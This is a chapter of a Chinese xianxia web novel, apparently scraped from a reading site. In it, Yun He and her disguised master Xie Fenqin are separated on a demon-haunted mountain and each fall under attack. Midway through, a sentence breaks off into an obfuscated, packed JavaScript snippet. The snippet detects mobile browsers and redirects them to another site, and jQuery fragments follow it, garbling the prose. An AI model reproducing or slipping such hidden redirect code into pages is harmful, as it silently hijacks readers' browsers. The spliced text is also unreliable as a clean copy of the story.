谢焚琴最终还是没能与云鹤坦诚相待。
他若是能直说便也不会想尽办法隐藏身份了,如今骑虎难下,一边怕被云鹤撞破身份连师徒都做不成,一边又觉得不坦白无论如何他都还有退路,大不了换个身份从头再来。
云鹤将他眼中的挣扎与不甘看得清清楚楚,最终没有再继续逼迫他,想着实在不行只能循序渐进。
热闹非凡的一夜过去,待太阳重新升起,两人便退了房,出发前往乌恒山。
没了尉迟宁,她们连马车都省了,直接御剑而行,速度一日千里,不到十日便来到了乌山下。
乌桓山脉绵延近万里,南起苍梧沼泽,北至断生崖,乃是凡间最长的山脉。
而作为山脉主峰的乌桓山,山高且陡峭,便是有修为在身的修士也无法直接御剑越过此山,更别提毫无修为的凡人,历来人们宁可绕路,也不愿直穿山脉。正因如此,这里便成了从各方逃亡出来的妖物邪祟的盘踞之地。
“云鹤,我的腰好痛。”
云鹤刚落地还没将剑收起来谢焚琴便走过来抱着她的胳膊笑眯眯地逗她。云鹤只能一只手将人搂住,另一只手一抬,青萍便自己飞入了剑鞘中。
两人这些天一直在赶路,几乎是一刻都未曾停留,于是云鹤才将手放到谢焚琴后腰处,便见他假装腿软跌倒在她身上。
云鹤手上动作顿了顿,却看谢焚琴抬起头无辜地望着她,想要掩盖住自己刚刚那个过于刻意的动作。
她指甲的温度透过薄薄的一层布料渗进来,倒是真让他有些腰软,谢焚琴不动声色地将脸埋进她怀里,轻轻喘了口气。
云鹤帮他揉了好一会儿问他:“好点了吗?”
见谢焚琴自己慢慢站好,云鹤从空间中掏出了灵枢盘率先迈出脚步:“走吧。”
沼泽对乌桓山来说是个天然的屏障,但这只能阻拦住那些胆子大不怕死的凡人上山,却无法阻拦山中的邪祟出去。
这山中盘踞的各种各样害人的妖物日益增多,剑门便组织门中弟子来此地在沼泽与山之间设了结界,将其中的妖物困在山内,让其无法再祸害人间。
虽然有了这个对邪祟来说只进不出的结界,但依然有很多走投无路的精怪来到此地谋求一条生路,此类妖物越聚越多后乌桓山几乎成为了一块死地。
两人一踏入结界内便感觉到阴气逼人,天空灰沉沉地往下压,连风都带着一股腐朽的气味。
灵枢盘上的指针飞快地转动着,挣扎着想要脱离轮盘的掌控,直到云鹤向里面注入了灵力才逐渐稳定下来。
谢焚琴脸色难得的有些凝重,他从迎面吹来的风中感受到了一丝熟悉的气息,却一时间想不起来在哪里遇见过。
下山后为了不让云鹤发现异常,他将自己的修为封锁了大半,如今他的实力比起云鹤还稍微低一些,若是真的遇到危险……
谢焚琴握紧了手中的铁剑,想着如何能在不暴露身份的前提下尽量不给云鹤拖后腿。
云鹤走在前方,她伸手抓住了谢焚琴的手腕,言简意赅道:“跟紧我。”
山中的邪祟大多是由怀有怨气的鬼怪、修歪门邪道的人或妖以及天生坏种的各类精怪构成,它们有些没有实体,就是一团黑色的雾,看到人便以极快的速度席卷过来,吞噬它所能触碰到的一切活物。
云鹤召出净尘盏,进来后遇到的两个精怪都很弱小,一个照面便被吸入了盏中,但她并没有因此而放松警惕。
她闻着空气中逐渐弥漫开来的香甜气息,这股味道悄无声息地盖过了刚进山时闻到的腐臭味,而她却直到刚刚才发现。
不对劲。
云鹤下意识地去抓谢焚琴的手,不出所料扑了个空。她确定了自己心中的猜想,这个花应该是能迷惑心智,而她与谢焚琴早在她刚闻到花香的时候就已经走散了。
她清楚此时与其担心师尊,不如先将精力都放在自己这边,师尊的实力便是在修仙界都能排得上名号,乌桓山对他来说算不了什么。
但云鹤的心还是抑制不住地沉了下去。
耳畔传来了青萍低吟似的震颤声,“嗡”的一声将她的神思猛地一下拽了回来,云鹤心头一凛。
净尘盏剧烈地震动着,像是在与什么无形的东西僵持不下。
脑海中开始浮起一个声音。她凝神去听,无意识地向前走了一步。
起初那声音像被浓雾裹着,含混不清,随着她神思愈发专注,那模糊的调子渐渐褪去朦胧,一字一句变得清晰。
向前……
向前走……
不要回头……
走啊!不要回头!
到了最后几乎是在她脑海中尖叫了起来,下一瞬云鹤的剑破空而出,猛地一下向后刺去,带着凛冽的锋芒。
云鹤清楚,面对此类影响神志的催眠手段,想脱离控制最重要的一点便是与自己的第一想法反着来,往日里所依赖的直觉在这里反而成了被利用的突破口,既然直觉告诉自己不要回头,那么危险……
就在她身后!
灵力包裹着剑气,直指向身后那道悄然逼近的黑影,连带着将那脑海中仍在尖叫的声音也一并斩得粉碎!
“嗤啦”一声响,云鹤只觉得手中的剑像是破开了一层布料,穿透后便畅通无阻,随后便感受到了布料纤维断裂的细微震颤。
她极速后退了两步,看清了偷袭她的黑影究竟是什么——一件破败不堪的灰色“长袍”,几乎已经无法透过现在看到它原先的模样,衣服上布满了干涸的暗红色血迹,布面几乎是一条一条的以至于云鹤都看不出刚刚她到底刺中了哪里,接触地面的衣角浸满了泥浆,闻起来也是恶臭扑鼻。
云鹤暗生警惕,眼前的古怪东西明显与迷惑她的香甜味道并非一类,怕不是除此以外还有其他邪祟藏在暗处。
在摸清这衣袍底细前云鹤不愿先暴露自己,她飞速挪动身位,一边闪避一边与其周旋,不远不近地探查其虚实。
脑海中的声音安静片刻后又开始作妖,语调黏腻,带着诡异的蛊惑:“这么美丽的衣服,与你是多么的相衬,你不想穿上它吗……”
云
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181566|181002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鹤:……
她脚下一蹬跳到了附近的枝桠上,冷笑着嘲讽道:“你是在这荒山野岭中呆久了吗,这衣服的款式明显过时了。”
那声音勃然大怒:“你想穿也得穿不想穿也得穿!”
话音刚落下那血色长袍的攻势骤然加剧,布面像是被狂风吹鼓动起来,速度快得几乎出现残影。
云鹤猜测这件衣袍并非开了灵智的邪祟一类,而是受到人为控制的斜修法器。
开始时她尚且游刃有余,与其对战并不落下风,但随着时间的推移,丹田中的灵气越来越少,云鹤逐渐开始感觉到吃力。
刚进山时她便发现在这结界中灵气稀薄得近乎于没有,在这里与人打架灵气只进不出,再这样下去她所剩不多的灵气很快就会被抽干,届时若是不使出保命武器,怕不是只能任人宰割。
一直躲在暗处之人见她力竭终于舍得现身,此人穿着一身黑衣脸上戴了面具,雌雄莫辨。
云鹤暗暗心惊,在她鼎盛之时这人怕不是也能与她打个有来有回,而现在这人待衣袍消耗了她大半灵力才现身,显然存的是坐收渔利的心思。
云鹤被两人夹击,腹背受敌,缠斗中已是受了些轻伤,她趁着丹田中还有还有一丝灵力尚存,借着各种植被的掩护在山中一边逃窜一边想着解决办法。
……
而另一边,谢焚琴也被牵制住无法脱身。
他面前矗立着一只丑陋异常的凶猛妖兽,它背上覆盖着暗绿色的鳞片,每一片大若巨石,却坑坑洼洼像是被什么腐蚀了一样露出内里的红肉,口中獠牙参差,腥臭的粘液从中滴落下来,落到地上便是一个巨坑。
“轰隆隆”的话音在空中响起,他自觉像猫逗老鼠一般戏耍着面前的人类,这个人身上有一股令他厌恶至极的味道,让他想到了几百年前它还是一只凶名赫赫的魔兽,却被那人一剑劈入乌桓山中的场景。
“你以为自己伪装成这样我便认不出来你了吗?”饕烬咬牙切齿,巨大的响声让这天地都在震动:“没想到当初惊才绝艳的天才剑修百年来修为不进反退,连到我这乌桓山都如过街老鼠一般。”
它话语中带着畅快的讥讽,字字句句都像淬了毒。
谢焚琴一边躲闪,脸上露出了一丝不耐。除了这异常难闻的腥臭让他记忆犹新外,他完全想不出面前的丑东西是谁,如今以他现在的修为根本难以脱身,云鹤也不知去向。
若是他解封修为时刚好被云鹤撞见,她一定能一眼认出自己,这是他万万不想见到的情况。
却不成想,他有心想放饕烬一马,它却偏要冲上来挑衅。只见他口中吐出一片水雾,透过雾气隐隐能看见一片影子,他得意洋洋地说:“别指望你那好同伴能来救你,她如今也是自顾不暇,都是你,害了她!”
谢焚琴凝神看去,刚好看见云鹤被一道黑气劈中,口中吐出一口鲜血。
他瞬间怒不可遏,手中那柄平平无奇的铁剑陡然闪过一道刺目白光,“嗡”的一声鸣响震彻四野。
惊弦剑既出,万物皆避其锋芒!